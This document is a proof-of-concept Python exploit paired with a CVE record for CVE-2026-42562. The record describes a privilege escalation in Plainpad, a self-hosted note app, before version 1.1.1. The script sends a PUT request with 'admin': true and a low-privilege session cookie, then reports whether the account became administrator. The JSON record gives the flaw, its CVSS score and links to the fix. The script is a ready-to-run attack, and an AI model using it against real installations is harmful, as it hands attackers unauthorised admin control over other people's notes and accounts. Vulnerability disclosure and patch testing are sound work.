CVE-2026-42562

import requests # Target configuration target_url = "http://example.com/api.php/v1/users/{user_id}" attacker_session_cookie = "PHPSESSID=valid_low_priv_session" user_id_to_escalate = "2" # The ID of the user to escalate (often the attacker's own ID) # Headers including the session cookie headers = { "Cookie": attacker_session_cookie, "Content-Type": "application/json" } # Payload containing the privilege escalation parameter # The key is 'admin' set to true payload = { "admin": True, "nickname": "EscalatedAdmin" } try: # Send the PUT request to update user profile response = requests.put( target_url.format(user_id=user_id_to_escalate), json=payload, headers=headers ) if response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Response:", response.text) else: print("[-] Failed to escalate privileges.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-42562", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:28.933", "lastModified": "2026-05-09T20:16:28.933", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plainpad is a self hosted note taking app. Prior to version 1.1.1, Plainpad allows a low-privilege authenticated user to self-escalate to administrator by submitting admin=true in PUT /api.php/v1/users/{id}. The endpoint directly persists the admin attribute from user input, and the escalated account can immediately access admin-only routes. This issue has been patched in version 1.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://github.com/alextselegidis/plainpad/commit/9216a876d27b22c3d9259551636d803f7cb075fc", "source": "[email protected]"}, {"url": "https://github.com/alextselegidis/plainpad/issues/138", "source": "[email protected]"}, {"url": "https://github.com/alextselegidis/plainpad/releases/tag/1.1.1", "source": "[email protected]"}, {"url": "https://github.com/alextselegidis/plainpad/security/advisories/GHSA-pvfv-wvpm-q6f6", "source": "[email protected]"}]}}